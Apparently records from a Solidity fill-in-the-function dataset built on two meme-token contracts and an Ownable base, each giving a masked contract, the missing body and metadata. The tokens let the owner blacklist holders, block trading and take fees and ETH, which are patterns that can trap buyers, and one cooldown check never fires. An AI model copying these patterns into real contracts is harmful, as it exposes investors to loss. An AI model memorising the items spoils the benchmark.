transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalBurned() public view returns (uint256) { return _totalBurned; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setInspectorCrypto(address payable _address) external onlyOwner { _inspectorCrypto = _address; } function setBrain(address payable _address) external onlyOwner { _brain = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**18; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**18; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setCooldown(bool enabled) external onlyOwner() { cooldown = enabled; } function setSavePenny(bool enabled) external onlyOwner() { savePenny = enabled; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**18; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; firstLiveBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _goGoGadgetArms(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetCopter() external onlyOwner { address _account = address(msg.sender); uint256 _amount = balanceOf(_account); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetmobile(uint _amount) private { _balance[address(this)] = _balance[address(this)].add(_amount); } function removeAllFee() private { if(_wowsers == 0 && _goGoGadget == 0) return; _previousWowsers = _wowsers; _previousGoGadget = _goGoGadget; _wowsers = 0; _goGoGadget = 0; } function restoreAllFee() private {<FILL_FUNCTION_BODY> } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to]); if(!tradingLive){ require(from == owner()); // only owner allowed to trade or add liquidity } if(maxTXEnabled){ if(from != owner() && to != owner()){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(cooldown){ if( to != owner() && to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair) { require(_lastTX[tx.origin] <= (block.timestamp + 30 seconds), "Cooldown in effect"); _lastTX[tx.origin] = block.timestamp; } } if(antiSnipe){ if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ require( tx.origin == to); } } if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = numTokensSellToAddToLiquidity; if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)){ _wowsers = 4; _goGoGadget = 9; } else { _wowsers = 9; _goGoGadget = 4; } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(antiBotLaunch){ if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!takeFee) removeAllFee(); uint256 wowsers = amount.mul(_wowsers).div(100); uint256 goGoGadget = amount.mul(_goGoGadget).div(100); uint256 amountTransferred = amount.sub(goGoGadget).sub(wowsers); _balance[sender] = _balance[sender].sub(amount); _goGoGadgetmobile(goGoGadget); _balance[owner()] = _balance[owner()].add(wowsers); _balance[recipient] = _balance[recipient].add(amountTransferred); if(savePenny && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) { _goGoGadgetArms(uniswapV2Pair, wowsers); } emit Transfer(sender, recipient, amountTransferred); if(!takeFee) restoreAllFee(); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiq = (contractTokenBalance.div(5)); uint256 half = tokensForLiq.div(2); uint256 toSwap = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(half, newBalance); uint256 forInspection = (address(this).balance).mul(65).div(100); payable(_inspectorCrypto).transfer(forInspection); payable(_brain).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, half); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
contract INSPECTORCRYPTO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => uint256) private _lastTX; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private _totalSupply = 1000000000 * 10**18; uint256 public _totalBurned; string private _name = "Inspector Crypto"; string private _symbol = "GADGET"; uint8 private _decimals = 18; address payable private _inspectorCrypto; address payable private _brain; uint256 public firstLiveBlock; uint256 public _wowsers = 4; uint256 public _goGoGadget = 9; uint256 private _previousWowsers = _wowsers; uint256 private _previousGoGadget = _goGoGadget; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount; uint256 public _maxHoldings = 50000000 * 10**18; //5% bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; bool public savePenny = true; bool public cooldown = true; uint256 public numTokensSellToAddToLiquidity = 10000000 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); _inspectorCrypto = 0xd590BbD89fcfd49475EA0A56c1E0babFe2129581; _brain = 0x2A486038A11Af98A98Fc6B054b517cBC6B4328eA; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalBurned() public view returns (uint256) { return _totalBurned; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setInspectorCrypto(address payable _address) external onlyOwner { _inspectorCrypto = _address; } function setBrain(address payable _address) external onlyOwner { _brain = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**18; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**18; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setCooldown(bool enabled) external onlyOwner() { cooldown = enabled; } function setSavePenny(bool enabled) external onlyOwner() { savePenny = enabled; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**18; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; firstLiveBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _goGoGadgetArms(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetCopter() external onlyOwner { address _account = address(msg.sender); uint256 _amount = balanceOf(_account); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _goGoGadgetmobile(uint _amount) private { _balance[address(this)] = _balance[address(this)].add(_amount); } function removeAllFee() private { if(_wowsers == 0 && _goGoGadget == 0) return; _previousWowsers = _wowsers; _previousGoGadget = _goGoGadget; _wowsers = 0; _goGoGadget = 0; } <FILL_FUNCTION> function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to]); if(!tradingLive){ require(from == owner()); // only owner allowed to trade or add liquidity } if(maxTXEnabled){ if(from != owner() && to != owner()){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(cooldown){ if( to != owner() && to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair) { require(_lastTX[tx.origin] <= (block.timestamp + 30 seconds), "Cooldown in effect"); _lastTX[tx.origin] = block.timestamp; } } if(antiSnipe){ if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ require( tx.origin == to); } } if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = numTokensSellToAddToLiquidity; if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)){ _wowsers = 4; _goGoGadget = 9; } else { _wowsers = 9; _goGoGadget = 4; } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(antiBotLaunch){ if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!takeFee) removeAllFee(); uint256 wowsers = amount.mul(_wowsers).div(100); uint256 goGoGadget = amount.mul(_goGoGadget).div(100); uint256 amountTransferred = amount.sub(goGoGadget).sub(wowsers); _balance[sender] = _balance[sender].sub(amount); _goGoGadgetmobile(goGoGadget); _balance[owner()] = _balance[owner()].add(wowsers); _balance[recipient] = _balance[recipient].add(amountTransferred); if(savePenny && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) { _goGoGadgetArms(uniswapV2Pair, wowsers); } emit Transfer(sender, recipient, amountTransferred); if(!takeFee) restoreAllFee(); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiq = (contractTokenBalance.div(5)); uint256 half = tokensForLiq.div(2); uint256 toSwap = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(half, newBalance); uint256 forInspection = (address(this).balance).mul(65).div(100); payable(_inspectorCrypto).transfer(forInspection); payable(_brain).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, half); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
_wowsers = _previousWowsers; _goGoGadget = _previousGoGadget;
function restoreAllFee() private
function restoreAllFee() private
52694
Ownable
null
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
owner = msg.sender;
constructor() public
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public
62201
REGUDEFI
fireSale
contract REGUDEFI is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) public isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; address public burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public dynamicFeesInEffect = false; bool public tradingActive = false; uint256 public fireSaleActive; uint256 public fireSaleTimer; uint256 public fireSaleAmt; uint256 public fireSaleRequirement; uint256 public resetRequirement; mapping (address => uint256) public userBurned; uint256 public buyFeeThreshold; uint256 public buyFeeRate; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellFeeThreshold; uint256 public sellFeeRate; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) public isExcludedFromFees; mapping (address => bool) public isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event Burn(uint256 burnAmount); event FeesReset(); event FireSaleBy(address user); event FireSale(); constructor() ERC20("Regulated DeFi", "REGU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedMaxTransactionAmount[address(_uniswapV2Router)] = true; uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; automatedMarketMakerPairs[address(uniswapV2Pair)] = true; uint256 totalSupply = 1e9 * 1e9; _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; buyFeeRate = totalSupply * 5 / 1000; // 0.5% sellFeeRate = totalSupply * 25 / 10000; // 0.25% resetRequirement = totalSupply * 1 / 10000; // 0.01% fireSaleRequirement = totalSupply * 1 / 100; // 1% maxTransactionAmount = totalSupply * 1 / 100; // 1% maxWallet = totalSupply * 2 / 100; // 2% swapTokensAtAmount = totalSupply * 2 / 1000; // 0.2% feeWallet = address(owner()); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(burnAddress), true); isExcludedMaxTransactionAmount[owner()] = true; isExcludedMaxTransactionAmount[address(this)] = true; isExcludedMaxTransactionAmount[address(burnAddress)] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp + 1; //Let's make sure the snipers don't just set 1 block ahead } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; dynamicFeesInEffect = true; fireSaleTimer = block.timestamp + 1 days; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function excludeFromFees(address account, bool excluded) public onlyOwner() { isExcludedFromFees[account] = excluded; } function updateFeeWallet(address newWallet) external onlyOwner { feeWallet = newWallet; } function setSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { isSniper[snipers_[i]] = false; } } function setResetRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); resetRequirement = requirement; } function setfireSaleRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); fireSaleRequirement = requirement; } function _resetFees() private { _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; } function resetFees() external { require(balanceOf(msg.sender) > resetRequirement, "You do not have enough tokens to reset fees!"); _resetFees(); fireSaleAmt += resetRequirement; transfer(burnAddress, resetRequirement); emit FeesReset(); } function fireSale() public {<FILL_FUNCTION_BODY> } function _startFireSale() private { fireSaleActive = block.timestamp + 2 hours; fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; emit FireSale(); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp <= _launchTime) isSniper[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(burnAddress) && !_swapping ) { if (!tradingActive) require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active."); // when buy if (automatedMarketMakerPairs[from] && !isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } // dynamic change if (dynamicFeesInEffect && block.timestamp > fireSaleActive) { // on sell if (automatedMarketMakerPairs[to]) { sellFeeThreshold += amount; uint256 feeAdd = sellFeeThreshold.div(sellFeeRate); if (feeAdd > 0) { if (_sellLiquidityFee < 12) { if (feeAdd > 10) { _sellLiquidityFee += 10; } else { _sellLiquidityFee += feeAdd; } } sellFeeThreshold -= feeAdd.mul(sellFeeRate); } } // on buy else if (automatedMarketMakerPairs[from]) { buyFeeThreshold += amount; uint256 feeAdd = buyFeeThreshold.div(buyFeeRate); if (feeAdd > 0) { if (_buyLiquidityFee > 0) { if (feeAdd > 2) { _buyLiquidityFee -= 2; } else { _buyLiquidityFee -= feeAdd; } } buyFeeThreshold -= feeAdd.mul(buyFeeRate); } } } // set new totals buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false; uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); _tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees; _tokensForDev += fees * _sellDevFee / sellTotalFees; _tokensForMarketing += fees * _sellMarketingFee / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); _tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees; _tokensForDev += fees * _buyDevFee / buyTotalFees; _tokensForMarketing += fees * _buyMarketingFee / buyTotalFees; } if (fees > 0) super._transfer(from, address(this), fees); amount -= fees; } if (block.timestamp > fireSaleActive && fireSaleActive > 0) { fireSaleActive = 0; _resetFees(); } // reset firesale if time passed if (block.timestamp > fireSaleTimer) { fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; } // if it's a burn if (to == burnAddress) { userBurned[msg.sender] += amount; fireSaleAmt += amount; if (fireSaleAmt >= fireSaleRequirement) _startFireSale(); emit Burn(amount); } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) contractBalance = swapTokensAtAmount * 20; // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
